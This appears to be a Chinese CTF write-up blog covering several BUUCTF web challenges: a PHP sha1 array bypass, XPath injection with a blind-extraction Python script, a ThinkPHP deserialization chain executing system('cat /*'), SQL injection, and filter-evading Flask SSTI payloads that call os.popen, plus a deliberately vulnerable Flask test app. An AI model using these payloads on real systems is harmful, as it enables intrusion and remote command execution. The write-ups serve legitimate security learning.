[极客大挑战 2020]Roamphp1-Welcome

知识点:弱比较

进门一个405状态码,网上搜一下或者抓包发现是Method Not Allowed,尝试抓包使用POST请求方式提交,拿到源码

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header("HTTP/1.1 405 Method Not Allowed");
exit();
} else {

if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){
show_source(__FILE__);
}
else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){
phpinfo(); // collect information from phpinfo!
}
}

发现需要提交roam1和roam2并且不能相等,但sha1值要相等.这里使用数组绕过,提交roam1[]=1&roam2[]=2绕过,

提交后拿到phpinfo,仔细寻找发现auto_prepend_file = /var/www/html/f1444aagggg.php,尝试直接抓包访问,在header中拿到flag

[NPUCTF2020]ezlogin

知识点:xpath注入

image-20210820111944787

👀万能页面!哈哈!。

0x02、XPATH注入原理:

XPath 注入利用 XPath 解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的 XPath 查询代码,以获得高权限信息的访问权。

XPath注入类似于SQL注入,当网站使用未经正确处理的用户输入查询 XML 数据时,可能发生 XPATH 注入,由于Xpath中数据不像SQL中有权限的概念,用户可通过提交恶意XPATH代码获取到完整xml文档数据

简单来讲就是 xpath来查询xml文件!

payload

' or count(/)=1 or ''='  ###根节点数量为1   就是只有一个  
'or count(/*)=1 or ''=' ##根节点下只有一个子节点 说的也是根节点
感觉上面两个没区别!哈!我一开始以为有区别的!但是测试发现没区别!区别在于!下面跑根节点上那一个元素名字的时候要加*!

'or string-length(name(/*[1]))=4 or ''='
所以说 都带上*就好了!
测试数量就用 'or count(/*)=1 or ''=' 有一个根节点元素
和'or string-length(name(/*[1]))=4 or ''=' 就号了! 根节点里元素长4

'or count(/root/accounts/*)=2 or ''='
'or count(/root/accounts/user/*)=6 or ''='

<root>
<accounts>
<user>
<id></id>
<username>gtfly123</username>
<password>e10adc3949ba59abbe56e057f20f883e</password>
</user>
<user>
<id></id>
<username>adm1n</username>
<password>cf7414b5bdb2e65ee43083f4ddbc4d9f</password>
</user>
</accounts>
</root>

文件包含过滤了

php
base64 大写即可
read

?file=pHp://FilTer/convert.basE64-encode/resource=/flag
?file=Php://filter/READ=string.rot13/resource=/flag

exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2021/8/20 12:01
# @Author : upload
# @File : [NPUCTF2020]ezlogin.py
# @Software: PyCharm
import requests
import string
import re
import random
import json
import time
from lxml import etree
proxy = '127.0.0.1:8080'
proxies = {
'http': 'http://' + proxy,
'https': 'https://' + proxy,
}
s = requests.session()
dic = string.ascii_letters + string.digits

url = "http://52e89151-389a-46ea-ae24-ba40889d30ca.node4.buuoj.cn:81/login.php"
head ={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
"Content-Type": "application/xml"
}


def get_token():
# headers = {
# "Cookie": "PHPSESSID=" + str(random.randint(1, 9999999999))
# }
r = s.get(url=url)
# if r.status_code == 429:
# print('fast1')
time.sleep(0.3)
# print(r)
# tree = etree.HTML(r)
# token = tree.xpath('//*[@id="token"]/@value')
token = re.findall('"token" value="(.*?)"', r.text,re.S)[0]
return token

def exp():
flag = ''
for j in range(1,100):
for i in dic:
token = get_token()
print(token)
#
# 猜测根节点名称
payload_1 = "<username>'or substring(name(/[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(j, i, token)
# 猜测子节点名称
payload_1 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(j, i, token)
# 猜测accounts的节点
payload_1 = "<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(j, i, token)
# 猜测user节点
payload_1 = "<username>'or substring(name(/root/accounts/user/*[3]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(j, i, token)
# 跑用户名和密码
payload_username = "<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(j, i, token)

payload_password = "<username>'or substring(/root/accounts/user[3]/password/texts(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(j, i, token)

print(payload_username)
r = s.post(url=url,headers=head,data=payload_username,proxies=proxies)
# if r.status_code == 429:
# print('fast2')
time.sleep(0.3)
print(r.text)

if "非法操作" in r.text:
flag += i
print(flag)
break

if "用户名或密码错误!" in r.text:
break

print(flag)

exp()

学长出的题也太猛了!👀👀👀

我说为啥页面折磨熟悉呢!🤗🤗🤗🤗

文章:

https://xz.aliyun.com/t/7791

https://www.cnblogs.com/karsa/p/13439673.html

[安洵杯 2019]iamthinking

知识点: tp

<?php
namespace app\controller;
use app\BaseController;

class Index extends BaseController
{
public function index()
{

echo "<img src='../test.jpg'"."/>";
$paylaod = @$_GET['payload'];
if(isset($paylaod))
{
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value)
{
if(preg_match("/^O/i",$value))
{
die('STOP HACKING');
exit();
}
}
unserialize($paylaod);
}
}
}

就是请求的时候参数值不能是O开头的!parse_url有绕过!

https://blog.csdn.net/q1352483315/article/details/89672426

但是这怎么构造链呢!头大!😫😫😫😫😪😥😭🤡

工具能直接梭哈!我丢!牛皮!

https://github.com/ambionics/phpggc

https://github.com/wh1t3p1g/phpggc

绕过:parse_url

///public/?payload=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A11%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A13%3A%22%00%2A%00connection%22%3Bs%3A5%3A%22mysql%22%3Bs%3A9%3A%22%00%2A%00suffix%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A11%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3BN%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3BN%3Bs%3A18%3A%22%00think%5CModel%00force%22%3BN%3Bs%3A13%3A%22%00%2A%00connection%22%3BN%3Bs%3A9%3A%22%00%2A%00suffix%22%3BN%3Bs%3A21%3A%22%00think%5CModel%00relation%22%3Ba%3A1%3A%7Bs%3A8%3A%22wh1t3p1g%22%3Ba%3A0%3A%7B%7D%7Ds%3A10%3A%22%00%2A%00visible%22%3Ba%3A1%3A%7Bs%3A8%3A%22wh1t3p1g%22%3Ba%3A0%3A%7B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22wh1t3p1g%22%3BC%3A32%3A%22Opis%5CClosure%5CSerializableClosure%22%3A197%3A%7Ba%3A5%3A%7Bs%3A3%3A%22use%22%3Ba%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system%28%27cat+%2F%2A%27%29%3B%22%3B%7Ds%3A8%3A%22function%22%3Bs%3A38%3A%22function+%28%29+use+%28%24code%29+%7Beval%28%24code%29%3B%7D%22%3Bs%3A5%3A%22scope%22%3BN%3Bs%3A4%3A%22this%22%3BN%3Bs%3A4%3A%22self%22%3Bs%3A32%3A%22000000005ec053c600000000001454be%22%3B%7D%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22wh1t3p1g%22%3Ba%3A0%3A%7B%7D%7Ds%3A7%3A%22%00%2A%00type%22%3BN%3Bs%3A12%3A%22%00%2A%00withEvent%22%3BN%3B%7Ds%3A21%3A%22%00think%5CModel%00relation%22%3BN%3Bs%3A10%3A%22%00%2A%00visible%22%3BN%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3BN%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22wh1t3p1g%22%3Ba%3A0%3A%7B%7D%7Ds%3A7%3A%22%00%2A%00type%22%3BN%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3B%7D

image-20210820171612954

不知道为什么本地测试的时候!__PHP_Incomplete_Class 类没有反序列化器

这个有点难搞!🤡 不玩了!下一道!

文章:

https://www.freebuf.com/column/221939.html

parse_url小结https://www.cnblogs.com/tr1ple/p/11137159.html

https://www.cnblogs.com/20175211lyz/p/12203047.html

[RootersCTF2019]babyWeb

知识点:sql注入 万能密码

mysqli_result::$num_rows – mysqli_num_rows –获取结果中的行数

image-20210820180232721

限制了只能是一行!

payload

1 || 1=1 #

为什么这个没结果呢!
因为它限制了只能读取一行! 我们读了好多行!🥗🐱‍🚀🐱‍👓

限制一下就好了!!!

1 || 1=1 LIMIT 1,1 #
1 || 1=1 LIMIT 0,1 #

[pasecactf_2019]flask_ssti

知识点: ssti

image-20210820181035781

image-20210820181211575

过滤了!
_ . '

以前的payload大不了异常!我丢!换一个!

小细节 双引号 可以识别 16进制和8进制!单引号好像不行!

以前的payload可以直接打!

{%print(()["\137\137\143\154\141\163\163\137\137"]["\137\137\142\141\163\145\137\137"]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[95]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\137\137\142\165\151\154\164\151\156\163\137\137"]["\137\137\151\155\160\157\162\164\137\137"]("o""s")["\160\157\160\145\156"]("ls")["\162\145\141\144"]())%}
http://127.0.0.1:5000/?id={%print(()['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\137\137']['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[95]['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\137\137\142\165\151\154\164\151\156\163\137\137']['\137\137\151\155\160\157\162\164\137\137']('o''s')['\160\157\160\145\156']('dir')['\162\145\141\144']())%}

单引号也行!哈哈哈! 还是要自己测试一下!🐱‍👓🐱‍👓🐱‍👓

就是必须在引号里用 进制表达!记住了!

{{"".__class__}}
{{""["\x5f\x5fclass\x5f\x5f"]}}
{{()["__class__"]["__bases__"][0]["__subclasses__"]()[91]["get_data"](0, "/proc/self/fd/3")}}
{{()["\x5F\x5F\x63\x6c\x61\x73\x73\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "\x2f\x70\x72\x6f\x63\x2f\x73\x65\x6c\x66\x2f\x66\x64\x2f\x33")}}

文章:

https://blog.csdn.net/qq_40800734/article/details/107011638

https://www.anquanke.com/post/id/242237#h3-12

https://xz.aliyun.com/t/9026

https://guokeya.github.io/post/zIiwsY95N/

https://xz.aliyun.com/t/9008

测试 环境

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2021/8/5 19:01
# @Author : upload
# @File : pp.py
# @Software: PyCharm

from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string

app = Flask(__name__)


@app.route('/')
def test():
code = request.args.get('id')
html = '''
<h3>%s</h3>
''' % (code)
return render_template_string(html)


if __name__ == '__main__':
app.debug = True
app.run()